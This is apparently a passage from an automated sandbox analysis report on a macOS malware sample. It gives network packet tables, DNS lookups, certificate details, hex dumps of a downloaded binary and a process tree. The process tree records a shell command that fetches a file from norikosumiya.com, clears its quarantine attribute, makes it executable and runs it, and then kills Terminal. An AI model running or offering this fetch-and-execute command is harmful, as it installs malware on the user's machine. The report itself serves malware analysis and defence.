Jan 19, 2025 20:32:44.274898052 CET	443	49397	151.101.131.6	192.168.11.12
Jan 19, 2025 20:32:44.275623083 CET	49397	443	192.168.11.12	151.101.131.6
Jan 19, 2025 20:32:44.276278973 CET	49397	443	192.168.11.12	151.101.131.6
Jan 19, 2025 20:32:44.276364088 CET	443	49397	151.101.131.6	192.168.11.12
Jan 19, 2025 20:32:44.517435074 CET	443	49397	151.101.131.6	192.168.11.12
Jan 19, 2025 20:32:44.519543886 CET	49397	443	192.168.11.12	151.101.131.6
Jan 19, 2025 20:32:44.519543886 CET	49397	443	192.168.11.12	151.101.131.6
Jan 19, 2025 20:32:44.525424957 CET	49397	443	192.168.11.12	151.101.131.6
Jan 19, 2025 20:32:44.525535107 CET	443	49397	151.101.131.6	192.168.11.12
Jan 19, 2025 20:32:44.525687933 CET	443	49397	151.101.131.6	192.168.11.12
Jan 19, 2025 20:32:44.526192904 CET	49397	443	192.168.11.12	151.101.131.6
Jan 19, 2025 20:32:44.526376009 CET	49397	443	192.168.11.12	151.101.131.6
Jan 19, 2025 20:32:44.543122053 CET	49398	443	192.168.11.12	151.101.131.6
Jan 19, 2025 20:32:44.543165922 CET	443	49398	151.101.131.6	192.168.11.12
Jan 19, 2025 20:32:44.543898106 CET	49398	443	192.168.11.12	151.101.131.6
Jan 19, 2025 20:32:44.544661999 CET	49398	443	192.168.11.12	151.101.131.6
Jan 19, 2025 20:32:44.544697046 CET	443	49398	151.101.131.6	192.168.11.12
Jan 19, 2025 20:32:44.789264917 CET	443	49398	151.101.131.6	192.168.11.12
Jan 19, 2025 20:32:44.791251898 CET	49398	443	192.168.11.12	151.101.131.6
Jan 19, 2025 20:32:44.791251898 CET	49398	443	192.168.11.12	151.101.131.6
Jan 19, 2025 20:32:44.799494982 CET	49398	443	192.168.11.12	151.101.131.6
Jan 19, 2025 20:32:44.799741983 CET	443	49398	151.101.131.6	192.168.11.12
Jan 19, 2025 20:32:44.800203085 CET	443	49398	151.101.131.6	192.168.11.12
Jan 19, 2025 20:32:44.800621986 CET	49398	443	192.168.11.12	151.101.131.6
Jan 19, 2025 20:32:44.800677061 CET	49398	443	192.168.11.12	151.101.131.6
Jan 19, 2025 20:32:44.811532021 CET	49399	443	192.168.11.12	151.101.131.6
Jan 19, 2025 20:32:44.811645985 CET	443	49399	151.101.131.6	192.168.11.12
Jan 19, 2025 20:32:44.812309027 CET	49399	443	192.168.11.12	151.101.131.6
Jan 19, 2025 20:32:44.813052893 CET	49399	443	192.168.11.12	151.101.131.6
Jan 19, 2025 20:32:44.813141108 CET	443	49399	151.101.131.6	192.168.11.12
Jan 19, 2025 20:32:45.062458038 CET	443	49399	151.101.131.6	192.168.11.12
Jan 19, 2025 20:32:45.064404964 CET	49399	443	192.168.11.12	151.101.131.6
Jan 19, 2025 20:32:45.064487934 CET	49399	443	192.168.11.12	151.101.131.6
Jan 19, 2025 20:32:45.071005106 CET	49399	443	192.168.11.12	151.101.131.6
Jan 19, 2025 20:32:45.071250916 CET	443	49399	151.101.131.6	192.168.11.12
Jan 19, 2025 20:32:45.071717978 CET	443	49399	151.101.131.6	192.168.11.12
Jan 19, 2025 20:32:45.071816921 CET	49399	443	192.168.11.12	151.101.131.6
Jan 19, 2025 20:32:45.072343111 CET	49399	443	192.168.11.12	151.101.131.6
Jan 19, 2025 20:33:28.982016087 CET	49400	443	192.168.11.12	151.101.67.6
Jan 19, 2025 20:33:28.982130051 CET	443	49400	151.101.67.6	192.168.11.12
Jan 19, 2025 20:33:28.982774019 CET	49400	443	192.168.11.12	151.101.67.6
Jan 19, 2025 20:33:28.983536959 CET	49400	443	192.168.11.12	151.101.67.6
Jan 19, 2025 20:33:28.983619928 CET	443	49400	151.101.67.6	192.168.11.12
Jan 19, 2025 20:33:29.213962078 CET	443	49400	151.101.67.6	192.168.11.12
Jan 19, 2025 20:33:29.216068029 CET	49400	443	192.168.11.12	151.101.67.6
Jan 19, 2025 20:33:29.216377020 CET	49400	443	192.168.11.12	151.101.67.6
Jan 19, 2025 20:33:29.222348928 CET	49400	443	192.168.11.12	151.101.67.6
Jan 19, 2025 20:33:29.222476959 CET	443	49400	151.101.67.6	192.168.11.12
Jan 19, 2025 20:33:29.222696066 CET	443	49400	151.101.67.6	192.168.11.12
Jan 19, 2025 20:33:29.223253965 CET	49400	443	192.168.11.12	151.101.67.6
Jan 19, 2025 20:33:29.223366022 CET	49400	443	192.168.11.12	151.101.67.6
Jan 19, 2025 20:33:29.244096994 CET	49401	443	192.168.11.12	151.101.67.6
Jan 19, 2025 20:33:29.244151115 CET	443	49401	151.101.67.6	192.168.11.12
Jan 19, 2025 20:33:29.244879007 CET	49401	443	192.168.11.12	151.101.67.6
Jan 19, 2025 20:33:29.245517969 CET	49401	443	192.168.11.12	151.101.67.6
Jan 19, 2025 20:33:29.245558977 CET	443	49401	151.101.67.6	192.168.11.12
Jan 19, 2025 20:33:29.475259066 CET	443	49401	151.101.67.6	192.168.11.12
Jan 19, 2025 20:33:29.477319956 CET	49401	443	192.168.11.12	151.101.67.6
Jan 19, 2025 20:33:29.477319956 CET	49401	443	192.168.11.12	151.101.67.6
Jan 19, 2025 20:33:29.483697891 CET	49401	443	192.168.11.12	151.101.67.6
Jan 19, 2025 20:33:29.483809948 CET	443	49401	151.101.67.6	192.168.11.12
Jan 19, 2025 20:33:29.483962059 CET	443	49401	151.101.67.6	192.168.11.12
Jan 19, 2025 20:33:29.484563112 CET	49401	443	192.168.11.12	151.101.67.6
Jan 19, 2025 20:33:29.484563112 CET	49401	443	192.168.11.12	151.101.67.6
Jan 19, 2025 20:33:29.499954939 CET	49402	443	192.168.11.12	151.101.67.6
Jan 19, 2025 20:33:29.499998093 CET	443	49402	151.101.67.6	192.168.11.12
Jan 19, 2025 20:33:29.500719070 CET	49402	443	192.168.11.12	151.101.67.6
Jan 19, 2025 20:33:29.501461029 CET	49402	443	192.168.11.12	151.101.67.6
Jan 19, 2025 20:33:29.501493931 CET	443	49402	151.101.67.6	192.168.11.12
Jan 19, 2025 20:33:29.727523088 CET	443	49402	151.101.67.6	192.168.11.12
Jan 19, 2025 20:33:29.729396105 CET	49402	443	192.168.11.12	151.101.67.6
Jan 19, 2025 20:33:29.729417086 CET	49402	443	192.168.11.12	151.101.67.6
Jan 19, 2025 20:33:29.739401102 CET	49402	443	192.168.11.12	151.101.67.6
Jan 19, 2025 20:33:29.739522934 CET	443	49402	151.101.67.6	192.168.11.12
Jan 19, 2025 20:33:29.739706993 CET	443	49402	151.101.67.6	192.168.11.12
Jan 19, 2025 20:33:29.740216017 CET	49402	443	192.168.11.12	151.101.67.6
Jan 19, 2025 20:33:29.740269899 CET	49402	443	192.168.11.12	151.101.67.6
Jan 19, 2025 20:33:29.752592087 CET	49403	443	192.168.11.12	151.101.67.6
Jan 19, 2025 20:33:29.752645016 CET	443	49403	151.101.67.6	192.168.11.12
Jan 19, 2025 20:33:29.753401995 CET	49403	443	192.168.11.12	151.101.67.6
Jan 19, 2025 20:33:29.754043102 CET	49403	443	192.168.11.12	151.101.67.6
Jan 19, 2025 20:33:29.754065037 CET	443	49403	151.101.67.6	192.168.11.12
Jan 19, 2025 20:33:29.987274885 CET	443	49403	151.101.67.6	192.168.11.12
Jan 19, 2025 20:33:29.988157988 CET	49403	443	192.168.11.12	151.101.67.6
Jan 19, 2025 20:33:29.988158941 CET	49403	443	192.168.11.12	151.101.67.6
Jan 19, 2025 20:33:29.996423006 CET	49403	443	192.168.11.12	151.101.67.6
Jan 19, 2025 20:33:29.996666908 CET	443	49403	151.101.67.6	192.168.11.12
Jan 19, 2025 20:33:29.997160912 CET	443	49403	151.101.67.6	192.168.11.12
Jan 19, 2025 20:33:29.997270107 CET	49403	443	192.168.11.12	151.101.67.6
Jan 19, 2025 20:33:29.997980118 CET	49403	443	192.168.11.12	151.101.67.6

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 19, 2025 20:31:50.537225962 CET	54354	53	192.168.11.12	1.1.1.1
Jan 19, 2025 20:31:50.668982983 CET	53	54354	1.1.1.1	192.168.11.12
Jan 19, 2025 20:32:10.322436094 CET	53	59261	1.1.1.1	192.168.11.12
Jan 19, 2025 20:33:28.842664957 CET	55512	53	192.168.11.12	1.1.1.1
Jan 19, 2025 20:33:28.979610920 CET	53	55512	1.1.1.1	192.168.11.12

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 19, 2025 20:31:50.537225962 CET	192.168.11.12	1.1.1.1	0xcf7c	Standard query (0)	norikosumiya.com	A (IP address)	IN (0x0001)	false
Jan 19, 2025 20:33:28.842664957 CET	192.168.11.12	1.1.1.1	0xc4de	Standard query (0)	h3.apis.apple.map.fastly.net	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Jan 19, 2025 20:31:46.820705891 CET	1.1.1.1	192.168.11.12	0x91f7	No error (0)	gateway.fe2.apple-dns.net	17.248.228.69	A (IP address)	IN (0x0001)	false
Jan 19, 2025 20:31:46.820705891 CET	1.1.1.1	192.168.11.12	0x91f7	No error (0)	gateway.fe2.apple-dns.net	17.248.228.71	A (IP address)	IN (0x0001)	false
Jan 19, 2025 20:31:46.820705891 CET	1.1.1.1	192.168.11.12	0x91f7	No error (0)	gateway.fe2.apple-dns.net	17.248.228.70	A (IP address)	IN (0x0001)	false
Jan 19, 2025 20:31:46.820705891 CET	1.1.1.1	192.168.11.12	0x91f7	No error (0)	gateway.fe2.apple-dns.net	17.248.228.66	A (IP address)	IN (0x0001)	false
Jan 19, 2025 20:31:50.668982983 CET	1.1.1.1	192.168.11.12	0xcf7c	No error (0)	norikosumiya.com	81.19.135.228	A (IP address)	IN (0x0001)	false
Jan 19, 2025 20:33:28.979610920 CET	1.1.1.1	192.168.11.12	0xc4de	No error (0)	h3.apis.apple.map.fastly.net	151.101.3.6	A (IP address)	IN (0x0001)	false
Jan 19, 2025 20:33:28.979610920 CET	1.1.1.1	192.168.11.12	0xc4de	No error (0)	h3.apis.apple.map.fastly.net	151.101.67.6	A (IP address)	IN (0x0001)	false
Jan 19, 2025 20:33:28.979610920 CET	1.1.1.1	192.168.11.12	0xc4de	No error (0)	h3.apis.apple.map.fastly.net	151.101.195.6	A (IP address)	IN (0x0001)	false
Jan 19, 2025 20:33:28.979610920 CET	1.1.1.1	192.168.11.12	0xc4de	No error (0)	h3.apis.apple.map.fastly.net	151.101.131.6	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

norikosumiya.com

HTTPS Connections

Timestamp	Source IP	Source Port	Dest IP	Dest Port	Subject	Issuer	Not Before	Not After	JA3 SSL Client Fingerprint	JA3 SSL Client Digest
Jan 19, 2025 20:31:46.745444059 CET	151.101.3.6	443	192.168.11.12	49349	CN=bag.itunes.apple.com, O=Apple Inc., L=Cupertino, ST=California, C=US, SERIALNUMBER=C0806592, OID.1.3.6.1.4.1.311.60.2.1.2=California, OID.1.3.6.1.4.1.311.60.2.1.3=US, OID.2.5.4.15=Private Organization CN=Apple Public EV Server RSA CA 2 - G1, O=Apple Inc., C=US	CN=Apple Public EV Server RSA CA 2 - G1, O=Apple Inc., C=US CN=DigiCert High Assurance EV Root CA, OU=www.digicert.com, O=DigiCert Inc, C=US	Wed Nov 13 17:31:50 CET 2024 Wed Apr 29 14:54:50 CEST 2020	Wed Mar 12 20:42:08 CET 2025 Thu Apr 11 01:59:59 CEST 2030
Jan 19, 2025 20:31:46.745444059 CET	151.101.3.6	443	192.168.11.12	49349	CN=Apple Public EV Server RSA CA 2 - G1, O=Apple Inc., C=US	CN=DigiCert High Assurance EV Root CA, OU=www.digicert.com, O=DigiCert Inc, C=US	Wed Apr 29 14:54:50 CEST 2020	Thu Apr 11 01:59:59 CEST 2030
Jan 19, 2025 20:31:47.051085949 CET	17.248.228.69	443	192.168.11.12	49350	CN=gateway.icloud.com, O=Apple Inc., ST=California, C=US CN=Apple Public Server ECC CA 1 - G1, O=Apple Inc., C=US CN=Apple Public Server ECC CA 1 - G1, O=Apple Inc., C=US	CN=Apple Public Server ECC CA 1 - G1, O=Apple Inc., C=US CN=DigiCert Global Root G3, OU=www.digicert.com, O=DigiCert Inc, C=US C=US, O=Apple Inc., OU=Apple Certification Authority, CN=Apple Root CA - G3	Mon Oct 28 07:43:49 CET 2024 Wed Dec 12 13:00:00 CET 2018 Mon Dec 18 22:12:39 CET 2023	Tue Nov 18 21:36:07 CET 2025 Wed Dec 11 13:00:00 CET 2030 Wed Dec 05 01:00:00 CET 2029	771,49196-49195-49188-49187-49162-49161-52393-49200-49199-49192-49191-49172-49171-52392-157-156-61-60-53-47-49160-49170-10,65281-0-23-13-5-13172-18-16-11-10,29-23-24-25,0	5c118da645babe52f060d0754256a73c
					CN=Apple Public Server ECC CA 1 - G1, O=Apple Inc., C=US	CN=DigiCert Global Root G3, OU=www.digicert.com, O=DigiCert Inc, C=US	Wed Dec 12 13:00:00 CET 2018	Wed Dec 11 13:00:00 CET 2030
					CN=Apple Public Server ECC CA 1 - G1, O=Apple Inc., C=US	C=US, O=Apple Inc., OU=Apple Certification Authority, CN=Apple Root CA - G3	Mon Dec 18 22:12:39 CET 2023	Wed Dec 05 01:00:00 CET 2029

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port
0	192.168.11.12	49356	81.19.135.228	443

Timestamp	Bytes transferred	Direction	Data
2025-01-19 19:31:51 UTC	91	OUT	GET /brew/update HTTP/1.1 Host: norikosumiya.com User-Agent: curl/7.54.0 Accept: /
2025-01-19 19:31:51 UTC	291	IN	HTTP/1.1 200 OK Server: nginx Date: Sun, 19 Jan 2025 19:31:53 GMT Content-Type: application/octet-stream Content-Length: 234656 Last-Modified: Sun, 19 Jan 2025 19:20:35 GMT Connection: close ETag: "678d5083-394a0" Strict-Transport-Security: max-age=31536000 Accept-Ranges: bytes
2025-01-19 19:31:51 UTC	16093	IN	Data Raw: ca fe ba be 00 00 00 02 01 00 00 07 00 00 00 03 00 00 40 00 00 01 55 70 00 00 00 0e 01 00 00 0c 00 00 00 00 00 01 c0 00 00 01 d4 a0 00 00 00 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: @Up
2025-01-19 19:31:51 UTC	16384	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
2025-01-19 19:31:52 UTC	16384	IN	Data Raw: 33 31 34 33 36 37 35 31 33 39 33 66 34 34 35 31 34 63 37 39 34 35 36 37 32 35 34 32 36 63 32 33 32 35 34 32 36 32 34 38 35 36 36 36 36 32 34 65 36 64 34 32 36 63 35 35 34 63 35 30 34 39 34 34 33 39 33 66 34 39 36 37 32 35 34 31 33 63 37 38 33 31 34 33 34 38 36 38 34 62 35 34 36 66 37 34 34 62 33 66 34 39 36 63 36 64 34 62 33 32 34 30 36 64 34 32 36 32 36 33 33 33 34 32 37 33 36 37 33 39 34 62 33 32 36 37 34 63 37 31 33 32 32 64 34 63 36 34 36 32 37 31 35 36 36 36 36 32 34 32 34 63 36 36 34 36 36 66 33 31 33 66 32 35 35 31 37 34 34 64 35 39 34 64 33 30 37 31 32 35 35 31 37 34 34 64 33 32 32 36 36 64 33 66 37 34 37 31 33 31 34 33 33 36 36 37 35 33 33 66 33 63 36 63 34 63 35 34 37 38 37 34 34 62 35 34 36 66 37 34 35 37 36 36 36 32 36 37 32 35 34 31 34 39 36 Data Ascii: 31436751393f44514c79456725426c23254262485666624e6d426c554c504944393f496725413c78314348684b546f744b3f496c6d4b32406d42626333427367394b32674c71322d4c646271566662424c66466f313f2551744d594d30712551744d32266d3f747131433667533f3c6c4c5478744b546f74576662672541496
2025-01-19 19:31:52 UTC	16384	IN	Data Raw: 33 31 34 33 36 64 37 30 33 39 34 33 33 63 37 30 35 36 35 30 33 32 35 30 34 63 34 32 36 63 32 36 33 39 34 32 33 63 32 36 34 63 36 36 33 36 36 66 35 36 37 39 34 39 34 64 33 31 34 32 33 36 34 64 33 31 34 33 36 32 34 65 35 37 34 32 36 64 36 66 35 37 34 32 35 31 34 64 33 30 34 62 35 39 34 64 33 39 34 33 37 34 33 65 33 39 37 39 34 35 32 36 33 31 34 32 33 63 36 65 33 31 36 36 34 30 35 30 33 39 34 32 33 34 33 65 35 37 34 32 36 64 34 30 33 39 34 32 37 33 37 38 35 36 34 33 33 34 32 36 33 31 36 36 36 65 37 39 33 31 36 36 36 64 32 36 33 39 37 39 34 34 34 64 33 30 34 62 35 39 34 64 33 31 36 36 36 33 35 35 33 31 34 32 36 65 32 31 35 36 37 39 33 34 34 30 33 31 37 39 34 36 32 33 34 63 34 33 36 33 34 30 35 37 34 32 34 39 36 33 34 63 34 32 36 65 37 38 33 31 36 36 37 33 36 Data Ascii: 31436d7039433c70565032504c426c2639423c264c66366f5679494d3142364d3143624e57426d6f5742514d304b594d3943743e3979452631423c6e316640503942343e57426d40394273785643342631666e7931666d263979444d304b594d3166635531426e2156793440317946234c436340574249634c426e783166736
2025-01-19 19:31:52 UTC	16384	IN	Data Raw: 34 63 36 36 33 31 34 30 34 63 34 32 33 33 35 31 37 34 34 64 35 39 34 64 33 30 36 37 34 36 34 30 35 36 35 30 37 34 36 65 35 37 35 30 36 66 35 35 35 34 33 66 33 32 34 65 34 63 34 32 36 63 32 36 35 36 33 66 33 63 34 30 34 63 36 36 34 38 35 31 33 33 36 34 36 32 34 65 35 37 34 32 34 35 37 31 36 64 34 62 37 37 34 64 34 62 35 30 34 39 36 63 36 64 34 62 33 32 34 65 35 36 33 66 34 39 32 64 36 64 36 36 34 35 37 31 33 31 37 33 34 35 36 63 34 63 35 30 33 63 36 63 35 37 37 39 36 32 36 66 32 35 34 31 33 63 35 35 32 35 34 32 36 64 36 63 36 64 34 31 33 32 36 34 33 31 34 62 36 65 33 34 35 37 36 36 36 32 37 31 34 63 37 39 37 33 36 33 33 31 35 33 34 65 35 31 36 64 36 34 37 34 34 30 36 64 34 32 36 32 36 33 33 39 34 33 33 36 36 66 36 38 35 34 34 30 36 66 33 31 34 33 34 36 36 Data Ascii: 4c6631404c423351744d594d306746405650746e57506f55543f324e4c426c26563f3c404c6648513364624e574245716d4b774d4b50496c6d4b324e563f492d6d6645713173456c4c503c6c5779626f25413c5525426d6c6d413264314b6e34576662714c79736331534e516d6474406d4262633943366f6854406f3143466
2025-01-19 19:31:52 UTC	16384	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
2025-01-19 19:31:52 UTC	16384	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
2025-01-19 19:31:52 UTC	16384	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
2025-01-19 19:31:52 UTC	16384	IN	Data Raw: 63 37 31 36 62 35 34 37 38 37 34 35 37 37 39 36 32 36 37 36 64 33 66 37 34 32 33 32 35 34 32 33 31 32 64 36 62 35 31 34 30 36 63 34 63 37 39 35 34 35 31 33 31 37 39 36 63 33 65 33 31 33 66 34 39 34 30 36 62 37 39 36 32 37 31 34 62 37 39 34 35 32 33 32 35 34 32 33 34 32 31 33 31 34 32 36 63 37 31 36 38 34 31 34 39 35 35 34 63 34 33 36 32 37 34 36 64 34 32 36 32 36 33 36 38 35 34 37 38 37 34 36 64 34 31 37 34 33 36 34 62 35 31 36 66 37 34 35 37 36 36 36 32 36 37 32 35 34 32 33 31 34 30 34 63 34 32 36 32 35 34 34 63 36 34 34 39 34 30 36 62 37 33 33 32 36 65 36 64 34 32 35 31 35 31 36 64 34 32 37 37 35 31 35 37 33 66 36 32 35 35 36 64 34 32 36 32 36 66 32 35 34 32 33 31 35 35 35 37 37 39 36 37 35 31 34 63 36 36 35 36 35 31 36 38 37 33 33 32 35 32 33 33 36 37 Data Ascii: c716b547874577962676d3f74232542312d6b51406c4c79545131796c3e313f49406b7962714b7945232542342131426c71684149554c4362746d426263685478746d4174364b516f7457666267254231404c4262544c6449406b73326e6d4251516d427751573f62556d42626f25423155577967514c665651687332523367
2025-01-19 19:31:52 UTC	16384	IN	Data Raw: 34 32 31 33 31 36 36 34 30 34 30 33 39 36 36 36 64 32 36 33 39 34 33 36 64 36 65 33 31 34 32 34 35 36 33 33 39 36 34 33 32 37 38 35 36 34 33 34 36 36 65 34 63 37 39 33 36 36 66 35 36 36 36 37 33 34 65 33 39 37 39 33 65 34 64 33 30 34 62 35 39 34 64 35 36 37 39 36 65 37 38 33 39 34 32 34 36 34 64 33 31 33 66 33 32 36 66 33 39 36 36 37 34 36 65 35 37 34 32 37 33 36 66 33 39 37 39 33 63 32 33 34 63 37 39 34 35 37 30 33 39 36 36 37 34 35 30 33 39 34 33 34 35 34 30 34 63 36 36 33 63 34 64 33 39 34 33 34 34 34 64 33 30 34 62 35 39 34 64 33 39 34 32 34 35 34 30 33 31 36 36 36 65 34 30 33 31 36 36 33 34 32 33 33 39 34 32 36 64 32 31 33 39 36 36 33 63 36 65 33 31 34 33 33 36 36 65 33 31 37 39 36 64 32 33 33 31 34 33 33 31 32 31 35 36 36 36 33 34 34 30 35 37 34 32 Data Ascii: 4213166404039666d2639436d6e31424563396432785643466e4c79366f5666734e39793e4d304b594d56796e783942464d313f326f3966746e5742736f39793c234c79457039667450394345404c663c4d3943444d304b594d3942454031666e403166342339426d2139663c6e3143366e31796d2331433121566634405742

System Behavior

Analysis Process: xpcproxy PID: 610, Parent PID: 1

General

Start time (UTC):	19:31:45
Start date (UTC):	19/01/2025
Path:	/usr/libexec/xpcproxy
Arguments:	-
File size:	44048 bytes
MD5 hash:	4764d9eafe6b7dac23253a9f8b7f73d6

Start time (UTC):	19:31:45
Start date (UTC):	19/01/2025
Path:	/usr/libexec/nsurlstoraged
Arguments:	/usr/libexec/nsurlstoraged --privileged
File size:	246624 bytes
MD5 hash:	321b0a40e24b45f0af49ba42742b3f64

Start time (UTC):	19:31:49
Start date (UTC):	19/01/2025
Path:	/Library/Frameworks/Mono.framework/Versions/4.4.2/bin/mono-sgen32
Arguments:	-
File size:	3722408 bytes
MD5 hash:	8910349f44a940d8d79318367855b236

Start time (UTC):	19:31:49
Start date (UTC):	19/01/2025
Path:	/bin/sh
Arguments:	/bin/sh -c curl -o /tmp/update https://norikosumiya.com/brew/update && xattr -c /tmp/update && chmod +x /tmp/update && /tmp/update
File size:	618480 bytes
MD5 hash:	be55e8952a262d0e524239dbf82191ed

Start time (UTC):	19:31:49
Start date (UTC):	19/01/2025
Path:	/bin/sh
Arguments:	-
File size:	618480 bytes
MD5 hash:	be55e8952a262d0e524239dbf82191ed

Start time (UTC):	19:31:49
Start date (UTC):	19/01/2025
Path:	/usr/bin/curl
Arguments:	curl -o /tmp/update https://norikosumiya.com/brew/update
File size:	185072 bytes
MD5 hash:	2418204e23e2952e7995f1819a1f78f5

Start time (UTC):	19:31:52
Start date (UTC):	19/01/2025
Path:	/bin/sh
Arguments:	-
File size:	618480 bytes
MD5 hash:	be55e8952a262d0e524239dbf82191ed

Start time (UTC):	19:31:52
Start date (UTC):	19/01/2025
Path:	/usr/bin/xattr
Arguments:	xattr -c /tmp/update
File size:	925 bytes
MD5 hash:	e2ca6555fe4b8c6a97d1ced2156c9b69

Start time (UTC):	19:31:52
Start date (UTC):	19/01/2025
Path:	/System/Library/Frameworks/Python.framework/Versions/2.7/Resources/Python.app/Contents/MacOS/Python
Arguments:	/usr/bin/python /usr/bin/xattr-2.7 -c /tmp/update
File size:	51744 bytes
MD5 hash:	710c6cc30780eea712240851b44d9eab

Start time (UTC):	19:31:52
Start date (UTC):	19/01/2025
Path:	/bin/sh
Arguments:	-
File size:	618480 bytes
MD5 hash:	be55e8952a262d0e524239dbf82191ed

Start time (UTC):	19:31:52
Start date (UTC):	19/01/2025
Path:	/bin/chmod
Arguments:	chmod +x /tmp/update
File size:	34144 bytes
MD5 hash:	917cfbf6084318922f8091f050a0bbed

Start time (UTC):	19:31:52
Start date (UTC):	19/01/2025
Path:	/bin/sh
Arguments:	-
File size:	618480 bytes
MD5 hash:	be55e8952a262d0e524239dbf82191ed

Start time (UTC):	19:31:52
Start date (UTC):	19/01/2025
Path:	/tmp/update
Arguments:	/tmp/update
File size:	234656 bytes
MD5 hash:	0418181caaba4686fae772b60d9a2c62

Start time (UTC):	19:31:52
Start date (UTC):	19/01/2025
Path:	/bin/sh
Arguments:	-
File size:	618480 bytes
MD5 hash:	be55e8952a262d0e524239dbf82191ed

Start time (UTC):	19:31:52
Start date (UTC):	19/01/2025
Path:	/bin/sh
Arguments:	-
File size:	618480 bytes
MD5 hash:	be55e8952a262d0e524239dbf82191ed

Start time (UTC):	19:31:52
Start date (UTC):	19/01/2025
Path:	/usr/bin/pkill
Arguments:	pkill Terminal
File size:	30512 bytes
MD5 hash:	ad01660bd9fdfcf9c67a4879e06d0aa3

Start time (UTC):	19:31:52
Start date (UTC):	19/01/2025
Path:	/bin/sh
Arguments:	-
File size:	618480 bytes
MD5 hash:	be55e8952a262d0e524239dbf82191ed

Start time (UTC):	19:31:52
Start date (UTC):	19/01/2025
